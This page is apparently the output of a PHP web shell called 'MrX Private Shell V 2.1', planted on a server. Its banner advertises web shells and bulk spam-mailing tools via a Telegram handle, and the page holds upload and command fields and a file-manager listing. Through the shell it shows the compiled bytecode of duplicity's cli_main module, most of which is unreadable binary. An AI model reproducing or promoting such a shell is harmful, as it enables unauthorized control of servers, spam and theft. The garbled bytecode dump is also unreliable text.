__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�-���SrSSKrSSKrSSKrSSKJrJr SSKJr	 SSKJ
r
 SSKJr SSKJr SSKJ
r
 SS	KJr SS
KJr SSK7 "SS
\	R"\	R$5rSSjrSrSrSrSrSr\S:Xa�SSKr\R8"5 \"\R:SS5r\"\R@RC55Hgur"r#\"RIS5(d%\%"\R@\"\RL5(aMC\'"\"S\#S\("\R@\"5S35 Mi \'"S\)"\RT"55-5 gg)zD
Main for parse command line, check for consistency, and set config
�N)�dedent�wrap)�argparse311)�backend)�config)�cli_util)�gpg)�log)�util)�*c��\rSrSrSrSrg)�DuplicityHelpFormatter�)z|
A working class to combine ArgumentDefaults, RawDescription.
Use with make_wide() to insure we catch argparse API changes.
�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�__static_attributes__r��4/usr/lib/python3/dist-packages/duplicity/cli_main.pyrr)s��rrc�|^^�XS.mT"S0TD6 UU4Sj$![a [RS5 Ts$f=f)z�
Return a wider HelpFormatter, if possible.
See: https://stackoverflow.com/a/5464440
Beware: "Only the name of this class is considered a public API."
)�width�max_help_positionc�>�T"U40TD6$�Nr)�prog�	formatter�kwargss ��r�<lambda>�make_wide.<locals>.<lambda>9s���I�d�5�f�5rz-argparse help formatter failed, falling back.r)�	TypeError�warnings�warn)r�w�hr s`  @r�	make_wider(0sC�����5���!�&�!�5�5�����
�
�E�F����s��!;�;c
��Sn[RR5Hgup#URS5(aMS[	U5SSRU53nXSS[	U5SSRU53-
nUS-
nMi US-
n[R"SS	S
[[5U[-SSS
.UD6$)z-
Return properly defined overrideable parser
zpositional args:
�__z  � �48z# duplicity z [options] �
�	duplicityNTF)r�argument_default�formatter_class�epilog�allow_abbrev�
exit_on_errorr)�DuplicityCommands�__dict__�items�
startswith�var2cmd�join�argparse�ArgumentParserr(r�help_footer)r �action_help�var�meta�
action_strs     r�
new_parserrA?s���'�K�&�/�/�5�5�7�	���>�>�$�����'�#�,��q����$��(8�9�
��R��L�����k�RU�RZ�RZ�[_�R`�Qa�b�b���t���8��4��K��"�"��
��!�"8�9��[�(���
���rc���[U5Vs/sH%o(dMURS5(aM#UPM' snHn[X5n[[X#5 M  gs snf)z�
Copy all arguments and their values to the config module.  Don't copy
attributes that are 'hidden' (start with an underscore) or whose name is
the empty string (used for arguments that don't directly store a value
by using dest="")
�_N)�dirr7�getattr�setattrr)�args�x�f�vs    r�harvest_namespacerKWsH���T��
B��A�a�a����S�0A�a��
B���D�������C��
Bs�
A �A �A c��[SS9n[[5HKn[U5nU/[R
R
U/5-nUR"U0[UD6 MM URU5upVXV4$![R[R4a!n[[U55 SnAWW4$SnAff=f)z�
Parse the commands and options that need to be handled first.
Mainly to make sure logging goes to the right place with correct verbosity.
Everything else is passed on to the main parsers.
F)�add_helpN)rA�sorted�logging_options�opt2var�
OptionAliasesr5�get�add_argument�OptionKwargs�parse_known_intermixed_argsr:�
ArgumentError�ArgumentTypeError�command_line_error�str)�arglist�parser�optr>�namesrG�	remainder�es        r�parse_log_optionsr`cs�����
'�F��o�&���c�l����
�.�.�2�2�3��;�;�����U�8�l�3�&7�8�'�#� �<�<�W�E����?���
�"�"�H�$>�$>�?�#��3�q�6�"�"���?���#�s�)A?�?$C�#B?�?Cc��[U5up[5n[[5HKn[	U5nU/[
RRU/5-nUR"U0[UD6 MM URU5up[!U5S:Xa�US[";a�[%US5(aE['US5(a2[(R*"[-S55 UR/SS5 O~['US5(aE[%US5(a2[(R*"[-S55 UR/SS5 O&[-S	USS
US["35n[U5 UH�nUR1S5(dMU[2;a[[5S
US355 M?U[6;aCSR9S[[6555n	[[5S
US35U	-5 M�U[:;dM�UR<S;dM�SR9S[[:555n	[[5S
US35U	-5 M� U(aUS[";aUSUlO[S5 [?UR<5n[@RRUS5n
U
(d�[BRRE5H_up[UR1S5(aMUR<U;dM/[@RRUS5n
[GU5UlMa U
(d[SUR<S35 [!U
5[!USS5:XaA[IX�SS5H.up�[K[LSU35n[O[PX�"U
55 M0 O:[SUR<S[!USS5S[!U
5SUSSS3	5 [SU5 U$![R[R4an[[U55 SnAGN�SnAff=f)z4
Parse remaining argument list once all is defined.
N�r�zhNo valid action found. Will imply 'backup' because a path source was given and target is a url location.�backupzdNo valid action found. Will imply 'restore' because url source was given and target is a local path.�restorez	Invalid 'z9' action and cannot be implied from the given arguments:
z
Valid actions are: �-z                         Option 'z� was changed in 2.0.0.
                            --file-to-restore to --path-to-restore
                            --do-not-restore-ownership to --no-restore-ownership
                            r-c3�,# �UH
nSU3v� M g7f�z    Nr��.0�cs  r�	<genexpr>�(parse_cmdline_options.<locals>.<genexpr>�s���3`�H_�1�d�1�#�J�H_���z�' was removed in 2.0.0.
                        The following options were deprecated and removed in 2.0.0
                        )rd�full�incrementalc3�,# �UH
nSU3v� M g7frhrris  rrlrm�s���3g�Hf�1�d�1�#�J�Hf�rnz�' was removed for backup actions in 2.0.0.
                        The following options were deprecated and removed in 2.0.0
                        z/Missing or invalid explicit or implicit action.r*�'z!' is not a valid action or alias.�check_z%Wrong number of positional args for 'z', got z

Expected z positionals from �.)*r`rArN�all_optionsrPrQr5rRrSrTrUr:rVrWrXrY�len�all_commands�is_path�is_urlr
�NoticerC�insertr7�changed_optionsr�removed_optionsr9�removed_backup_options�action�cmd2varr4�CommandAliasesr6r8�ziprErrFrrK)rZrGr^r[r\r>r]r_�msg�removed_commands_string�
arg_checks�aliases�name�val�funcs               r�parse_cmdline_optionsr�{s��
(��0�O�D��\�F��k�"���c�l����
�.�.�2�2�3��;�;�����U�8�l�3�&7�8�#�#� �<�<�Y�G����9�~���y��|�<�?��9�Q�<� � �V�I�a�L�%9�%9��J�J��L��
�
���Q��)�
�I�a�L�
!�
!�g�i��l�&;�&;��J�J��G��
�
���Q�	�*���I�a�L�>�*%�%,�I�.&�&2�^�5��C�

�s�#����>�>�#����o�%�"��!�!$��&� �����'�*.�)�)�3`���H_�3`�*`�'�"��!�!$��&���1�1�
3���.�.�4�;�;�Bc�3c�*.�)�)�3g��Oe�Hf�3g�*g�'�"��!�!$��&���1�1�
3��3�H�Y�q�\�\�1���l����L�M��$�+�+�
�C�"�+�+�/�/��T�:�J��*�3�3�9�9�;�L�C��~�~�d�#�#���{�{�g�%�.�7�7�;�;�C��F�
�%�c�l���<���Q�t�{�{�m�+L�M�N��:��#�i���m�,�,��Z�1�2��7�I�D��8�v�d�V�_�5�D��F�D�$�s�)�,�8�	�3�D�K�K�=���I�VW�VX�M�HZ�G[�\��J��(�(:�9�Q�R�=�/��
L�	
��d���K��G
�"�"�H�$>�$>�?�#��3�q�6�"�"��#�s�7P�$Q�;Q�Qc���[R"5[l[	U5n[R
bm[R"[R5n[R"URURURURS9[lO[R"S5[lSR[[ [RR"55n[$R&"[)S[R
SU355 [R*(a[RRcd[-[RR5S:Xa=[-[RR5S:Xa[$R."S5 [R0S	;a*[R0S
:XaS[lS[l[4R6"5 [R8=(d [R:nU(a [4R<"U5[lOS[l[R>=(d [R@nU(a@[BRE[BREU5RG55[l$OS[l$[RJc[MU5[l%[O[Q[RR[RJ55 [RT[l+[R0S
;a
[Y5 [$R&"[)S[RZR\355 [$R&"[)S[RJ355 [R0$)z"
Process command line, set config
N)�
passphrase�sign_key�
recipients�hidden_recipientsr	rtzGPG binary is z
, version rz�Option --gpg-agent is unsafe with symmetric encryption.
Refer to https://gitlab.com/duplicity/duplicity/-/issues/799 for more information.)rprdrdT�inc)ror��verifyzUsing archive dir: zUsing backup name: )/r	�
GPGProfiler�gpg_profiler��
gpg_binary�copy�deepcopyr�r�r�r�r�whichr9�maprY�gpg_versionr
�InforC�	use_agentrv�Warnr�implied_incr�import_backends�
source_url�
target_url�get_backend�source_path�
target_dir�path�Path�
get_canonical�
local_path�backup_name�generate_default_backup_name�set_archive_dir�expand_archive_dir�archive_dir�count�keep_chains�
set_selection�archive_dir_path�uc_name)�cmdline_listrG�srcr��
remote_urlr�s      r�process_command_liner��s���
���)�F��!��.�D����$��m�m�F�.�.�/�� �^�^��~�~��\�\��~�~�!�3�3�	
���!�J�J�u�-����(�(�3�s�F�$6�$6�$B�$B�C�D�K��H�H�Q��� 1� 1�2�*�[�M�J�
K�L�
	������'�'�/���"�"�-�-�.�!�3���"�"�4�4�5��:����
a�	
��}�}�1�1��=�=�H�$�!%�F����
������"�"�7�f�&7�&7�J�� �,�,�Z�8�������#�#�8�v�'8�'8�J�� �I�I�d�i�i�
�&;�&I�&I�&K�L��� ������!�9�*�E����&�v�'9�'9�6�;M�;M�N�O� ���F���}�}�1�1����H�H�Q�$�V�%<�%<�%D�%D�$E�F�
G�H��H�H�Q�$�V�%7�%7�$8�9�
:�;��=�=�r�__main__rcrCz = z (�)zverbosity: )�x�.)+rr��inspect�sys�textwraprrr.rr:rrrr	r
r�duplicity.cli_data�ArgumentDefaultsHelpFormatter�RawDescriptionHelpFormatterrr(rArKr`r�r�r�types�setup�argvrrNr5r6�arJr7�
isinstance�
ModuleType�print�typerY�getverbosityrrr�<module>r�s1��*���
�!�.������� ��X�C�C�X�Ei�Ei����0	��0v�rJ�Z�z����I�I�K�
!�#�(�(�1�2�,�
/�F��v���,�,�.�/���1��<�<����
�6�?�?�1�+=�u�?O�?O� P� P��
���3�q�c��D�����!3�4�5�Q�7�8�0�
�-�#�c�.�.�0�1�
1�2�r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 398 B 0644
__main__.cpython-313.pyc File 4.74 KB 0644
argparse311.cpython-313.pyc File 98.99 KB 0644
backend.cpython-313.pyc File 32.15 KB 0644
backend_pool.cpython-313.pyc File 18.72 KB 0644
cached_ops.cpython-313.pyc File 1.09 KB 0644
cli_data.cpython-313.pyc File 32.01 KB 0644
cli_main.cpython-313.pyc File 14.13 KB 0644
cli_util.cpython-313.pyc File 22.31 KB 0644
config.cpython-313.pyc File 5.74 KB 0644
diffdir.cpython-313.pyc File 31.95 KB 0644
dup_collections.cpython-313.pyc File 63.51 KB 0644
dup_main.cpython-313.pyc File 78.6 KB 0644
dup_tarfile.cpython-313.pyc File 432 B 0644
dup_temp.cpython-313.pyc File 12.87 KB 0644
dup_time.cpython-313.pyc File 11.17 KB 0644
errors.cpython-313.pyc File 3.53 KB 0644
file_naming.cpython-313.pyc File 16.93 KB 0644
filechunkio.cpython-313.pyc File 3.83 KB 0644
globmatch.cpython-313.pyc File 6.01 KB 0644
gpg.cpython-313.pyc File 20.98 KB 0644
gpginterface.cpython-313.pyc File 25.69 KB 0644
lazy.cpython-313.pyc File 17 KB 0644
librsync.cpython-313.pyc File 11.48 KB 0644
log.cpython-313.pyc File 19.18 KB 0644
manifest.cpython-313.pyc File 23.66 KB 0644
patchdir.cpython-313.pyc File 27.63 KB 0644
path.cpython-313.pyc File 43.08 KB 0644
progress.cpython-313.pyc File 14.45 KB 0644
robust.cpython-313.pyc File 1.91 KB 0644
selection.cpython-313.pyc File 31.35 KB 0644
statistics.cpython-313.pyc File 18.78 KB 0644
tempdir.cpython-313.pyc File 12.04 KB 0644
util.cpython-313.pyc File 16.51 KB 0644
Filemanager